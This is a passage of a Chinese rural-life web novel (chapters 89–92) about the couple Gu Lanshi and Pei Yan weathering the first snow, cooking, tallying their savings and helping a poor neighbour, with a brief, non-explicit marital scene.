到晌午后,顾兰时一个人吃了饭,锅里闷着给裴厌留的,在家里等不住,他出门来张望。 人没看到,风刮了起来。 树林和地上不再像夏天那样绿意繁茂,黄土和光秃秃的树一下子有了初冬的萧索。 天越发阴沉,顾兰时在门口望了好几回,当发现有小雪珠落下的时候,他伸手接住,真的下雪了。 正担心雪万一越下越大,路上应该不难走,但裴厌衣裳是不是穿的有点单薄,就听见林子里有了动静。 驴蹄子嗒嗒踏在地上,裴厌牵着驴往家里赶,他同样发现下雪了,当看到顾兰时在等他,不禁露出个笑。 第89章 小雪粒掉在地上,此时还不甚明显,裴厌牵着毛驴进门,顾兰时在后面关好篱笆门,连门闩也上了。 天阴比较重,雪势一看就不会小,下午该歇歇了,没有再出门的必要。 忙碌大半年,雪一下,两人心底莫名松了口气。 平时歇息还怕干不完活,总有紧迫感,眼下初雪来临,休养生息像是一件理所当然的事。 裴厌很高兴,在石子路旁边的平坦土路上缓了缓,等顾兰时近前才笑道:“兔子卖了一百五十文,回来的时候路过猪肉铺子,买了五斤肥瘦相间的肉,还有四根肋条骨,花了一百二十文,柴火卖了六十文。” 比起大户人家用来取暖的木炭,烧灶烧炕用的柴火很便宜,如今天冷涨价了,十斤不过六文钱,一车卖个五六十文,对冬闲时的乡下人来说也算不错了。 顾兰时刚才就看见板车上放了一包用油纸包的东西,这下知道是肉了,他笑着开口:“今天头一场雪,肉先放着,把肋条骨剁了,和萝卜炖着傍晚吃。” “好。”裴厌满口答应。 兔子肉是好吃,可没有肥猪肉油脂厚,近来隔几天打一只吃,也有点馋猪肉了。 今天他特意买了有肥膘子的,吃起来油多,比什么都香,连猪骨头炖出来的汤,油水都更足些。 进门之后,顾兰时取下油纸包,到灶房放好肉,拿了刀将肋条骨剁成小段。 灶房角落里放了一小堆萝卜和菘菜,他顺手挑了两根大萝卜。 自家种的萝卜很新鲜,生吃微辣,炖汤煮熟后却十分清甜,和骨头肉炖在一起正合适。 裴厌栓好毛驴,回到前面后把板车竖立起来,靠在柴房门旁边,上头有延伸出来的屋檐,能挡一些雨雪。 雪粒还在下,不知不觉,地上覆盖薄薄一层白意。 顾兰时正在剁骨头,见他进来要舀水洗手,连忙用襜衣擦擦手,推开木锅盖说:“锅里有热水,我取了饭菜给你舀。” 晌午炒的菘菜豆腐,还有一碗米汤和几个糙馒头闷在锅里,灶底一直烧着火,这会儿饭菜还是热的,锅底水也是热的,正好用来洗手。 裴厌蹲在灶房门口洗手,见顾兰时要端饭菜去堂屋,说道:“我坐灶前吃就好了,就两个碗,端来端去没个意思。” “那好,给你放这里。”顾兰时依言把饭碗放在灶台上,又取了筷子搁在碗上,自己将剩下的两根骨头剁好,又开始削萝卜皮。 他一边干活一边说:“粮食和菜都够吃,柴火也不缺,下了雪,这几天该歇一歇。” 裴厌喝一口热乎乎的米汤,点着头道:“是该歇了、” 大黑闻见肉味,带着一身小雪珠走进来,大尾巴一直摇。 顾兰时看它一眼,笑道:“狗鼻子够灵的。” 他切着萝卜说:“骨头还不到你啃呢,下午肉汤要有多的,给你泡馒头吃。” 大黑显然没有听懂,甚至用脑袋蹭他腿,不断纠缠。 裴厌看见狗在流哈喇子,差点弄到顾兰时裤子上,不喜道:“出去。” 大黑眯着眼睛夹起尾巴走了。 院里有雪花飘下,冷风吹来,卷起地上灰尘和雪粒,它钻进柴房,在顾兰时新给它装的稻草麻袋上躺下。 自打两人成亲后,它再没挨过饿,今天晌午也已经吃过,肚子一点都不瘪,但还是伸出舌头舔一圈嘴巴,明显馋了。 等裴厌吃完饭,顾兰时洗锅刷碗,拾掇干净灶房后,外面已经下大了,从雪粒变成了雪花片子,风也起来了,呼嚎刮过,像是野兽嘶吼。 上午没有起风的迹象,门窗没关好,被猛烈吹得啪啪直响。 裴厌把灶房窗户闩好,又几步赶出去,想关好柴房门。 柴房只有一扇门,没有窗子,见大黑在里头睡觉,柴房里都是囤好的干木柴和干草,若吹进来风雪淋湿就不好。 更何况柴房门本来就比较破,被风吹的拍在墙上恐怕会撞坏,他撵狗出去,自己关好门出来时,顺便将麻袋拉出来,随意扔到了堂屋角落。 大黑跟着自己睡觉的麻袋走,它畏惧裴厌,以前不怎么进堂屋,在屋檐下犹豫转了几圈后,才走进去找到麻袋趴好, 裴厌没理它,东屋窗子没事,他进西屋查看,西屋里放了许多麻袋和布兜,装的都是菜干子和山货,是他俩过冬的口粮,窗户肯定要关好。 顾兰时关好灶房门,提了个大竹篮,想到麦秸堆那边抽点软柴火,谁知一阵大风吹来,地上灰尘和雪花扑面,差点迷了眼睛。 风挺大,走路都费劲,他抽了些麦秸又捡了半篮子木柴,匆匆进了堂屋。 裴厌关好了所有门窗,把泥炉和陶罐也提了进来。 顾兰时放下竹篮,拍拍身上的尘土,笑道:“风够大的,这会儿没别的事做,咱俩在堂屋点火盆取取暖。” “好。”裴厌蹲下看泥炉里的火,风大,好在火没有熄灭。 顾兰时拿来了铜盆,两人一起把火点上,拉过椅子围着火盆坐好。 外面风大,不关门窗不行,好在天没有阴的黑沉,从缝隙里透进来光亮,再加上火苗腾起跳动,映在身上脸上热热的。 顾兰时靠在椅子上伸长双腿,以前习惯了家里人多,如今和裴厌只有两个人,却也不觉得冷清。 虽然下雪了,天没有那么冷,只觉这么靠着十分惬意。 见他这么悠闲自得,就差晃晃腿脚,裴厌笑着说:“闲了上山找点好木头,让木匠做把摇椅,能半躺靠着的那种,坐着更舒坦。” 自己带木头去找木匠,就只用掏个工钱,更便宜。 顾兰时眼睛一亮,祖宅那边有个竹制的摇椅,他小时候很爱往祖宅跑,为的就是坐上去摇晃,可惜竹椅年头太久,是他太爷当年找竹匠做的,后来变形坏了,他也渐渐长大,不好再去大伯家坐。 高兴是高兴,他抿了抿唇说道:“又要花钱。” 裴厌眉眼带着笑意,说:“只掏工钱而已,花不了太多,今年除了那些开销,手里也算挣了一点,肯定够做一把摇椅的。” 听罢,顾兰时想了一下,笑眯眯开口:“那好,花一次钱能用好多年呢,不亏。” 说着说着就高兴了,裴厌趁机将椅子往他身边挪了挪,两人离得更近,装作有事要讲的模样,从怀里掏出荷包,说:“这是今天的钱,九十文。” “嗯,不算少了。”顾兰时接过,也没打开看,伸长胳膊放在桌子上,离得一近,他莫名也有点高兴。 外面风声呼啸,甚至有雪花从门缝里被吹进来。 两人说了几句闲话,无非就是村里那些人那些事,顾兰时昨天回家串门子,和他娘还有同样过去串门子的大伯娘闲话了一阵。 因他住在后山,和村里来往的较少,多数时候都是听他娘和大伯娘在说,这会儿没别的事,就讲给裴厌听听。 不知不觉间,裴厌一边给盆里添柴一边离得更近,顾兰时浑然不觉。 火光跃动,竟烤的有些困倦,他打个哈欠,越发想瘫靠在椅子上。 裴厌眉宇间的阴霾麻木退散,取而代之的是一点淡淡笑意,前两年的冬天只觉天冷无趣,如今倒觉得挺好,那些忙碌的日子,他俩哪有闲心这样安逸自在地坐着说说话。 顾兰时伸出手在火盆上方烤火。 “葡萄秧子找到了,今天买柴火的有两家,卸柴火的时候,有一户院里有葡萄架,我问过主家了,等明年开春过去找他家,花点钱,就给咱们剪些枝条。裴厌说着说着,目光落在自己夫郎手上。 前几天顾兰时切菜时分心和窗外的他说话,不小心切伤了大拇指。 眼下已经愈合了,痂也掉了,留有一点偏红的刀疤,再过一段时日,应该会彻底愈合,再看不见伤口。 长年干活,手不可避免有些粗糙,完全没有养尊处优的细腻柔软。 “这下好了,得了空咱俩就把葡萄架搭好,等明年就能栽种。”顾兰时高兴极了,又道:“过两三年,葡萄藤爬高,就有紫葡萄吃了。” 裴厌喉结微动,他很少留意别人的手,面对双儿和姑娘时,更不可能盯着人家的手看。 他没有比对的心思,眼神有点发直,盯着被火光映出暖色的那双手,连顾兰时的话都没听进去几个字。 没有得到回应,顾兰时转头看过来,疑惑道:“你怎么了?” 裴厌俯身凑到他耳边,低声说了两句话。 顾兰时突然红了耳朵,低下脑袋支支吾吾没有立即答应。 离上次行房已过去许久,秋时繁忙,算算日子,竟有一两月了,裴厌实在难以忍耐,拉着人从椅子上起来,紧紧攥住夫郎一只手,将人半推半搂带进房里。 天冷了,但他俩还没开始烧炕,这会儿又是白天,着急忙慌拉开被子,被窝再厚实刚进去也有点冷。 不过很快,在裴厌的炙烤下,冷意散去,顾兰时甚至觉得太热,闷在被子里不敢出声。 * 房门外,火盆还在燃烧,角落里的大黑被默许进来后,甩动的尾巴十分轻快,显然很高兴,而在主人进屋后,它听见一点莫名的动静,歪着脑袋看过去,眼中全是疑惑。 意识到没有危险后,它重新放下脑袋,视线转向热乎乎的火盆。 外面的风声再次呼嚎起来,接连不断,像是停不下来,盖过了房里的动静。 大黑没忍住,蹑手蹑脚悄悄走过来,舒舒服服在火盆旁边躺下,伴随着火光温暖,它眼皮子渐渐合拢,昏昏睡了过去。 第90章 雪还在下,乌云厚重,天比平时黑得快,还没到傍晚,房里已经暗下来。 裴厌端了一盆热水进屋,将布巾浸在里面摆洗两遍,拧好后干巴巴开口:“好了。” 顾兰时背对着他躺在炕上,闻言朝后面伸出手,拿到热乎乎的干净布巾后,默不作声掀开被窝擦拭一阵。 夫郎一直没说话,站在炕边有点手足无措的裴厌看见他耳朵越来越红,这才恍然大悟,应该是羞窘,不是生气了。 “头还疼不疼?”裴厌关切问道,恨不得趴到炕上看看,可又怕顾兰时恼怒。 顾兰时头顶之前不小心撞到炕头墙上,当时虽然揉了一阵,可他还是担心。 “不疼。”顾兰时说着,不小心看到布巾上的脏污,身上倒是干爽了,但莫名有点恼,随手就把布巾一丢,自己朝被子里一缩,连脑袋也埋住。 裴厌接住空中甩过来的布巾,见人羞恼了,他拧起眉头有些发愁,随后洗干净布巾,端起盆出去了。 听到房门关上的声音,炕上被子底下的人扭动几下,才悄悄露出头。 走了。 顾兰时松一口气。 这种事晚上看不见还好,白天天色再不好,不该看见的都能看见,他实在有点不想面对。 裴厌不过二十岁,正是身强力壮的时候,体态修长力气又大,一身肌肉精瘦结实,平常穿着衣裳还好,看不出有什么厉害之处,只觉瘦高。 也只有顾兰时知道他在这种事上的执着和疯劲,像是怎么也不满足。 之所以不给好脸色,就是怕裴厌得寸进尺,再做出别的“伤风败俗”之举。 顾兰时翻个身,尽量让自己不要再去回想,只是不小心压到本来就不舒服的腿,连忙又平躺回去。 今天还算好点,没有折腾太过,腰腿难受是难受,不至于疼痛。 想起另一件事,他伸手轻轻摸了摸头顶,刚才只是敷衍裴厌,这会儿轻碰不疼,毕竟真撞到了,手重了还是有点不舒坦,过两天就好了。 裴厌在外面待不住,见天色慢慢暗了,总算找了个借口,他推开房门,见顾兰时睁着眼睛不知在想什么,看着没以前那么难受,他眉宇间有了点笑意。 “炖汤先下骨头还是先下萝卜。”他一边往里走一边问道。 顾兰时下意识看过去,说:“先炖骨头,冷水下锅先焯一遍,捞出来换一锅净水,放老姜和一点大料、花椒,水滚之后多炖一会儿再放萝卜,骨头上的肉炖烂了才好吃。” 骨头是新鲜的,裴厌吃饭那阵他都洗干净了,萝卜也切好了,炖汤很简单。 “好。”裴厌记下,又问道:“吃馒头还是米饭?” 顾兰时想了一下,说:“米饭。” 好一阵没吃干米饭了。 没有恼怒没有生气,两人之间心照不宣恢复正常,裴厌没敢多讨嫌,出去做饭了,他其实会炖骨头,只是故意找个借口进来说说话。 顾兰时继续躺着,等闻见肉香味,别说大黑,连他也馋了,不用裴厌喊他,坐起来就穿好衣裳下了炕。 腰腿的不舒服在饥饿面前不再是大事,一出来风停了,大雪还在下,地上和屋檐积了厚厚一层。 院子里,往灶房那边有铲出来的一条路,顾兰时顺着路往前走,比踩进雪里好走多了,他低头看一眼,旁边的雪比脚踝还高一点。 照这样再下一夜,明天估计就有半腿高了。今年这初雪,势头比前几年猛多了。 大黑在门口转来转去,时而呜咽一声,顾兰时还没进灶房,就看见裴厌坐在灶前烧火。 “怎么起来了?”裴厌把手里的木柴塞进灶膛,起身拍掉手上的木屑。 顾兰时笑道:“饿了,闻见肉香过来看看。” 两口锅边都在冒白汽,他用大勺推开外面大锅的木锅盖,见萝卜块已经下进去,煮的半透明了,再过一会儿就透明变软了。 见他看完了,裴厌将锅盖盖好,说:“该多歇歇,等下我给你端进房里吃。” “不用,都歇了一阵了,没那么要紧。”顾兰时没怎么在意,今天确实还好。 裴厌只能顺着他的意思点头,开口道:“米饭已经好了,等萝卜熟了就能吃。” 顾兰时更高兴。 裴厌搬了个树墩子坐在灶前烧火,把小凳子递给他让坐下,说:“往近靠靠,灶膛里有火暖和。” 顾兰时依言和他亲亲密密挨在一起,甚至直接靠在裴厌胳膊上,听见外面风声,说道:“又起风了,头一场雪就这么大,也不知来年是个什么光景。” “不一定就是灾年,过几天雪停了也就化了,明年兴许是瑞年。”裴厌宽慰道,天气的变化本来就说不准,过分担忧也无济于事,能挣钱的时候加把劲挣钱就好了。 “嗯。”顾兰时坐在小凳子上较矮,他其实只是随口说两句,随后一歪身子,整个人靠在裴厌身上,说:“入冬了,等会儿吃完,要不算算账,看手里还有多少。” “行。”裴厌答应着,又往灶底添了一把柴火。 等灶底这点火烧完,他没让火灭,往里面塞了好几根硬木头,引燃烧一会儿,晚上烧炕就不用费力气擦火石,家里柴火多,没了也能上山去打,丝毫不担心烧多了后面没得用。 热腾腾的骨头萝卜汤端上桌,一人一碗白软甜糯的米饭,这是今年新米,米香味虽不比肉香那么浓郁,却也不输。 裴厌给顾兰时夹了好几块肉骨头,往自己碗里放了几块萝卜,吹一吹,萝卜拌着米饭扒拉进嘴里,不一会儿半碗饭就下去了。 他吃得快,顾兰时笑笑,说:“肉骨头这么多,够咱俩分的,你也多吃,平常干的是重活,也该补补油水。” “嗯。”裴厌顾不上说别的,嘴里还有饭呢,只点点头,随后就给自己碗里夹一块肉骨头。 他向来听劝,顾兰时不再说什么,低头开始吃饭。 骨头炖烂了,肉几乎一抿就下来,不用费什么力气,放了足够的盐,吃起来咸香满足。 而肉汤煮的萝卜块也好吃,既有萝卜的清甜又有肉香味。 一动筷子,饭又这么香,两人再顾不上说话。 等到汤盆里的肉和萝卜块都吃完后,竟还有些意犹未满,裴厌站起来,端起汤盆和自己的饭碗,问道:“米饭还要不要?” 顾兰时还有半碗饭没吃,刚才只顾吃菜和肉了,他说道:“不用,你给自己盛就好了。” 裴厌走后,他端起碗扒拉两口饭,米饭浸了肉汤汁,吃起来更香。 再盛了菜和饭过来,两人才不再那么着急。 大黑得了几块骨头,在桌子旁边啃得邦邦响,顾兰时看一眼它,问道:“肉汤多不多?” 裴厌说道:“锅里还有,等下再给它泡馒头。” 天冷,多吃一会儿饭就凉了,他俩没多耽误,趁热乎吃得饱足。 顾兰时放下筷子,他碗里的米和肉都吃完了,拿起勺子给自己舀了碗肉汤喝 裴厌又吃完一碗米饭,见盆里只剩两块肉,萝卜也不多,他又去盛了一碗饭,过来坐下问道:“汤还喝不喝?” 顾兰时摇摇头:“我这一碗就够了,你吃。” 裴厌吃完肉和萝卜后,就用肉汤泡饭吃,最后还把盆里剩下的汤都喝了,一点没剩。 吃这么多,怕他撑着,顾兰时笑道:“没吃完也不要紧,天冷,肉汤好放,万一撑到。” 裴厌用帕子擦擦嘴,说:“没事,不撑,最近没怎么吃猪肉,尝着香,顶多那点汤水有点撑,也不打紧,过会儿就好了。” 都是大人,不至于像小孩那样不知饥饱。 坐在桌前说两句话,裴厌便收拾碗筷。 他让顾兰时回房歇着,但顾兰时闲不住,刚吃过饭,肉吃得有点饱,浑身也热乎,就跟着他一起进灶房洗碗刷锅煮猪食。 说是一起,其实都是他在做,干活时有夫郎陪着说说话,比吃了肉还要高兴。 雪花簌簌落下,铲开的路径渐渐被覆盖,天色黑了,两人没有再铲雪,喂过禽畜牲口之后,趁还没黑彻底,连忙把炕烧好闷上,这才盥洗。 冬天有热炕睡最是舒坦,顾兰时擦干脚,裴厌端水出去倒,他往被窝里一坐,暖和极了。 想起数钱的事,他有点迫不及待,把炕褥底下的钱和箱子里的钱都堆在被子上。 等裴厌进来,见他这副阵仗,不禁笑笑,端了油灯凑近,好给他照照亮。 家里所有钱都倒了出来,卖菜卖鸡鸭蛋,再加上裴厌做工,最多的是铜板。 碎银子好数,多是一钱一钱的,顾兰时很快数清,一共有六两八钱。 铜板串起来的也好数,他俩每次都是一百文一串,一共有五串,也就是五百文。 剩下的散铜板加上今天的九十文,拢共是三百六十七文钱。 顾兰时数完后说道:“今年主要买了毛驴,花了三两并五十文,还有十斤棉花,是六百五十文。” 裴厌拿了麻绳过来,坐在炕边看顾兰时穿钱,他在心里算了一下,说:“回头我去镇上,把五百文铜板换成碎银子,和那六两八钱放在一起,就有七两三钱了。” 顾兰时顺口说道:“原先咱们不动的钱有六两三钱,这一年下来,不算铜板的话,赚了一两。” 这么一算,赚的确实不多。 裴厌开口道:“明年抓毒蝎不用买牲口,这一笔就能省下,棉衣要穿几年,棉花不用再买。” 顾兰时认真点头:“嗯,明年咱们肯定能赚更多。” 收好钱后,吹了灯两人安安心心在热被窝里躺好。 裴厌还在盘算,说:“留三百文不动,明年开春买树苗就够了,有树苗的能在山上挖到,还有六十七文,留着这段时日买豆腐吃,等天晴了,我去砍柴打兔子卖,就足够平常的猪肉钱了。” 乡下人开销少,粮食和菜蔬都是自家的,就算去赶集,顶多吃两个零嘴,不会花太多钱。 他俩钱不多,但温饱之余还能买点肉吃,已经算不错了,又有几两银子的家底,起码心里是踏实的。 顾兰时打个哈欠,翻个身往裴厌怀里钻,说:“足够了。” 心里踏实,连带着神思也放松下来,他声音有点困倦,又说道:“米饭还有不少,明天用鸡蛋炒着吃。” “好。”裴厌答应着,搂着人闭上眼睛。 顾兰时喃喃开口:“咸鸭蛋也能吃了,明天煮熟,想吃的时候切一个就能吃。” 裴厌低低答应:“嗯。” 外面风雪依旧,他俩声音越来越小,依偎在一起进入梦乡。 第91章 翌日清晨,雪已经停了,但天色依旧不好,地上积了厚厚一层雪。 一大早,顾兰时和裴厌吃过早食,喂了家里所有张嘴要吃的禽畜牲口,就开始清扫院里的落雪。 杂屋和柴房上头是茅草,尽管挺结实的,裴厌还是架了梯子爬上去,用木耙将积雪都推了下去。 顾兰时离得远,看着积雪落在地上溅开,抬头说道:“小心些。” “嗯,我知道。”裴厌答应着,又推下一些。 大黑一身皮毛厚实,今年入冬前吃得饱,只要他俩吃肉,它就有骨头啃,皮毛也顺滑,不怎么怕冷。 它从堂屋出来,踩进雪里四条腿陷下去,独自玩了一会儿,这才走到裴厌铲出来的一条道上,甩甩毛上的雪,摇着尾巴往顾兰时那边走。 顾兰时看它一眼,这摇尾巴眯眼睛的谄媚模样,他忍不住笑了笑。 昨天傍晚喂给它的糙馒头是用肉汤泡的,它连食盆底都舔了个干净,刚才干巴巴的糙馒头它甚至都有点不情愿吃。 把杂屋和柴房顶上的积雪全都推下去后,裴厌先将木耙子顺着墙放下去,随后自己沿梯子下来。 顾兰时这才拿着铁锨,他离灶房近,就先从灶房门口铲雪。 每次下雪融化后,院子里都泥泞不堪,走路总是带一鞋底烂泥,他俩铲雪往门外送,外面是自己家的菜地,又没有一个外人,不怕起冲突。 院子两边也有菜地,除了埋萝卜的坑,其他地方不用铲。 铲雪费力气,没一会儿两人都出了汗,用铁锨一下一下往外面运太慢,裴厌将靠在墙上的板车放下来,干脆先往板车上丢,再往门外倒。 今天还没出去,外面菜地被厚雪覆盖,放眼望去,像一整块完好的雪白豆腐。 顾兰时往板车上丢一锨雪,大黑摇着尾巴绕他转,脑袋差点和铁锨撞到,他挥手赶狗:“去,一边去。” 大黑被撵走,出了院门后,看一眼面前的雪地,渐渐起了玩心,撒欢奔跑起来,没一会儿就将雪地的平整破坏殆尽。 前院的雪铲完后,顾兰时拄着铁锨擦擦额上汗水,刚停一下,身上汗水很快变凉了,幸好没有脱衣裳,不然非得生病。 “歇歇。”他把铁锨靠在墙上,先迈步往堂屋走,裴厌跟在后面。 他揭开陶罐盖,从陶罐里舀几勺滚水倒进茶壶,将凉了的茶水掺热,坐下和裴厌一人喝了两碗茶,又顺手把几块甜米糕放在陶罐盖子上。 见状,裴厌往泥炉里添了一把麦秸,炉火登时就烧起来。 米糕冷了也能吃,不过大冬天,还是稍微热一热,吃进肚里才舒坦。 裴厌喝一口热茶,放下碗后说道:“累的话你歇着,我去铲后院。” 他想着昨天做了那种事,腰腿肯定有点不舒服。 顾兰时笑着说:“没事,我帮着铲几下,没什么的。” 乡下人干活惯了,哪有那么金贵,再说歇了一晚,今天早上还睡了懒觉,身上那点不舒坦的劲儿已经过去了。 裴厌从柴篮里抓一把麦秸塞进泥炉,刚下去的火势又旺起来,他开口道:“那记得少铲一点,一次铲半锨就行了。” 顾兰时笑出声,说:“我给自家干活还要偷懒啊。” 裴厌也笑了,说道:“有我在,你就是偷懒什么都不做,也没什么要紧。” 两人说笑着,顾兰时摸摸米糕,干了这么久活肚子有点饿,也不管另外一面是不是温热了,拿起就吃,顺便还给身边人递了一块。 都不是爱偷懒的,干活赶早不赶晚,早早铲完雪,在家里走动也方便,于是歇过这一阵后,他俩起身拿了铁锨推着板车往后院走。 前院的雪已经铲干净了,往外拉雪就是平地,更好走。 裴厌先把鸡窝和鸭舍上面的雪用耙子搂下来,猪圈和驴棚同样如此,后面等雪融化,滴水就会少点。 * 下午,没看见太阳,不过天色有点亮了。想来不会再下雪。 顾兰时拿了大碗来到西屋,抓了一把干木耳还有两大把晒干的菌子,裴厌买回来的五斤肉还没吃呢,晚饭炒肉片子吃。 昨天吃了肉骨头,今天再连着吃肉有点豪奢,可下雪了,吃点肉才能御寒。 他搀好温热的水,怕灶房冷,给大碗上扣了碟子,随后匆匆走到灶房切肉片。 大蒜是从家里拿来的,他们自己种的明年才能收获,秋辣子倒是他自己种的,晒干贮存了一些。 把蒜片和干辣子备好,又切点姜片,怕一道菜不够吃,他又扒了半颗菘菜叶子切了一小盆,别看这会儿显得多,炒熟也就一碗的菜量。 今天晌午用鸡蛋炒了昨天剩的米饭,晚上热几个糙馒头就行。 弄完这些,还不到做饭的时候,他用热水洗干净手,冰凉的手指头暖和过来。 他走回堂屋,裴厌拖了两根竹子刚进来,准备劈竹子弄些竹篾条,好多编两张竹席。 明年赶着时节种菜,除去要卖的,能晒的菜干子肯定更多,一张竹席显得不太够用。 “这两根不够,过几天路好走了,再上山砍一些竹子。”裴厌说道。 顾兰时笑着开口:“嗯,不着急,还有一个冬天呢,够时间编席子的。” 他拿起桌上放的毽子,已经做好了,用的羽毛鲜艳漂亮,比鸡毛毽子好看多了。 之前在家里时,他和竹哥儿用鸡毛做毽子,成亲后养了些小母鸡,都要下蛋,哪里舍得杀鸡,自然没有鸡毛,不过之前裴厌打了山鸡还有山雀之类的野鸟,宰杀后漂亮的羽毛他都留着。 裴厌看一眼,说:“你先试试,不行再改。” “嗯。”顾兰时答应着,走到旁边没有遮挡的地方,将毽子往空中一丢,抬脚就踢。 刚才备饭菜的时候,他提了一句想踢踢毽子,正好家里有羽毛,裴厌就取了来做。 做这东西也不难,弄点重东西压毽铊,再把羽毛插上去缠好,差不多就能玩了。 踢了几个后,适应了重量,顾兰时没有停下,一边踢一边说:“好着呢,正合适。” 见他玩得高兴,裴厌笑笑不再打搅,自己拿了刀劈竹条干活。 冬闲的好处就是能玩尽兴,顾兰时数着数踢,这次踢了三十五个才掉下来,他捡起毽子,看向裴厌问道:“你要不要踢?” 裴厌手一顿,神色有点犹豫,小时候只能看别人踢毽子玩耍,长大后他也没那个闲心。 顾兰时笑眯眯的,见他犹豫,贴心道:“这个不难,多踢两下就会了。” 他又说:“你要学会了,咱俩比一比,看谁踢得多,不然我自己耍还有些不得劲。” 既然如此,裴厌放下手里的活,过来学着他刚才的样子,先把毽子丢向空中,随后抬脚去够。 果然,不是什么难事,他踢了几下,用的力气有点大,毽子高高飞起,看得顾兰时不自觉仰起头。 “低一点,万一飞到房梁上,还得找东西戳下来。”顾兰时笑着同他打趣,毽子踢得再高,不过到半空而已,哪能真飞到房梁上去。 裴厌听完,眼神还盯着毽子,脸上露出个笑,再踢了一下,毽子飞远没够着,落在地上。 顾兰时帮他数着数,说道:“不错了,足足七个呢。” 裴厌从中找到一点乐趣,捡起来又开始踢,这回只踢了五个。 倒不怪他,他无意中看见顾兰时脑袋随着毽子上下翻飞而一点一点的,看别人玩耍的模样跟小孩一样认真,一下子就乐了,分了神没接住。 “你笑什么?”顾兰时疑惑问道。 裴厌脸上笑容更大,说:“你怎么跟着毽子抬头低头的。” 顾兰时从他手里接过毽子,笑道:“这哪里能忍住,你要不说,我自己都不知道。” 说着,他一边踢一边给自己数数,当眼神无意中看到裴厌神情后,他抬脚接住毽子,又用力往上一踢,抬头盯着毽子笑出声,说:“你还说我,你看看你,眼睛也不是盯着毽子上下动。” 两人正玩闹,大黑忽然竖起耳朵朝外面吠叫,顾兰时伸手接住下落的毽子,转身朝门外看。 “我去看看。”裴厌说着就往外走。 大黑已经跑在了前面,看架势,篱笆门外肯定有人。 还没开门,外面的人听见狗叫声近了,从门缝里看到有人影,便喊了一声兰哥哥。 裴厌听出对方的声音,反问道:“启儿?” “是我,裴厌哥哥。”徐启儿连忙答应。 等开了门,一阵风吹来,他缩了缩脖子,小声说道:“裴厌哥哥,我、我想拿一钱银子去买点米。” 裴厌点点头,说:“嗯,进来吧。” 大菜地只有石子路铲开了,别的雪没动,两人顺着路走,等进了院子,顾兰时看徐启儿虽然穿了棉衣,不过棉衣旧了,明显单薄。 兄弟俩孤苦,肯定是没有更厚的衣裳穿,他没多嘴,只说道:“下雪了,你俩米粮可还够吃?” 徐启儿说:“兰哥哥,我正是为了这个来的,米剩的不多了,菜倒是有,我想拿一钱回去,买点米,再买几块豆腐吃。” 乡下人吃不起肉的,煮菘菜时会放些豆腐,豆腐可是好东西,便宜又能补补身子。 顾兰时点点头:“好,菜够吃就行。” 他转身进屋给徐启儿拿钱,这一两银子是单独放的,平时他和裴厌根本不会碰。 把碎银子给徐启儿,他又匆匆进西屋抓了两把红枣出来,说:“家里也没别的,几个枣儿你拿回去和瑞儿吃,舍不得当零嘴,煮稀饭的时候放两个,甜着呢。” “嗯。”徐启儿用衣摆兜起红枣,心中十分感激。 他明显有点冷,在外面不如回家躲进屋里取暖,顾兰时说道:“起风了,路上也不好走,快回去吧。” 出了篱笆门之后,徐启儿走近林子里,粗糙的手紧紧攥着衣摆,生怕红枣掉出来,他回头看一眼已经闭上的篱笆门。 一到冬天,粮食很金贵,他明白这是顾兰时心善,每次碰到他多少都给点东西,他不识字,除了感激,都不知道说什么好。 昨天这场雪下的突然,还刮风,因肚里没油水,两人都不怎么抗冻,他只能和弟弟蜷缩在薄被里。 今天起来一看,米缸里的米不多了,平时做饭都是稀米汤,用水灌个肚圆,好歹不会饿的心慌。 他脚一深一浅在雪里走,脸上是化不开的忧愁,有这一两银子,倒是能熬过这个冬天。 他想过卖身去做长工,可冬闲地里没有多少活干,哪家愿意收长工,那不是不干活吃白饭吗。 他就只能找个零工做,可去了码头,人家一看他身板瘦弱,都不愿要,求爷爷告奶奶才干了两天活,扛沙袋大包拿了三十多个铜板回来,不想就下雪了。 回到家里后,看见瘦小的弟弟正在劈柴,徐启儿更加忧愁。 明年开春要是运气好,托人帮他找个东家去做长工,到时候他自己能吃上饭,可留弟弟一个人在家种地,让他如何放心。 今天有点晚了,揣着钱上路怕遇到恶人,徐启儿妥善把一钱碎银子藏好,叹了口气让自己先不要去想那些,再愁也没用,还是多编几个竹筐,等天晴了背去集会上卖点钱。 他编竹筐的手艺没那么好,只能贱卖换几个铜板。 寒冬对穷人来说是残酷的,运气好挺过去多活一年,身子差的,冻出病来,家里连抓药的钱都出不起,就只能拖着。 好在徐应子死得早,没把家产赌光,他和弟弟还有能遮风挡雨的房屋,躲在家里烧柴烤烤火,不至于雪上加霜生病。 第92章 天气转晴,这几天一到晌午,太阳热意一盛,雪水就被晒得融化,顺着屋檐如下雨一般滴落在地。 初冬还不算太冷,没到结冰溜子的时候,就算有,不过短短一小截,连掰下来都不用。 之前把院里的雪铲到了外面,雪水一融,起码在院里走动时,脚下湿溻溻的烂泥没那么多。 一大早,天色亮起来后,院里才有了动静。 顾兰时起床后先抱了柴火进灶房,见水缸里的水结了一层冰,他取了擀面杖用力捣破冰层。 裴厌搓搓手进来,早起一呼一吸都冒着白气,他顺势接过擀面杖,三两下就把冰层捣开。 顾兰时在他接手后,蹲在灶前用火石擦火,点燃后说道:“水不多了,该去打点水,不知道河里结冰没。” 裴厌拿了葫芦瓢舀起一瓢带着碎冰的水,倒进大锅里,闻言说道:“没到三九,结了冰估计也不是很厚,搬块石头就能砸开。” “嗯。”顾兰时往灶底添把软柴,火苗一下子旺起来。 锅里水添好后,他放好蒸架,拿了六个糙馒头和两个鸡蛋放上去,盖上锅盖开始烧火。 早食他和裴厌顶多吃三四个馒头,多出来的两个是给大黑热的,冬天冷,馒头有点硬,反正要烧柴,给狗热热也不费事。 顾兰时在灶前小凳子坐下,说道:“明天要是太阳好,蒸几个白面馒头吃,顺便再蒸两屉包子。” 他抬头看向裴厌问道:“想吃什么馅的?” 裴厌提起软柴篮子正要出去抽麦秸,想了一下说:“马齿菜馅的就行,咱们不是还有好多,我再买点豆腐回来,剁碎了加进去。” 夏秋的时候晒了很多马齿菜,包包子挺好吃。 “行。”顾兰时点点头,随后眼睛弯弯,说:“肉还没吃完,包几个萝卜大肉馅的肉包子吃,萝卜少肉多,有肉汁的那种,解解馋,怎么样?” 他说得如此诱人,还没吃仿佛就已经看到了热腾腾、一掰开就流肉汁的包子,连包子皮都是绵软油香的。 裴厌被他说的都饿了,咽了咽口水说:“好,就吃这个。” 顾兰时其实也被自己说饿了,得亏锅里有两个鸡蛋。 等锅里热水烧开,馒头热了鸡蛋熟了,两人先舀水盥洗。 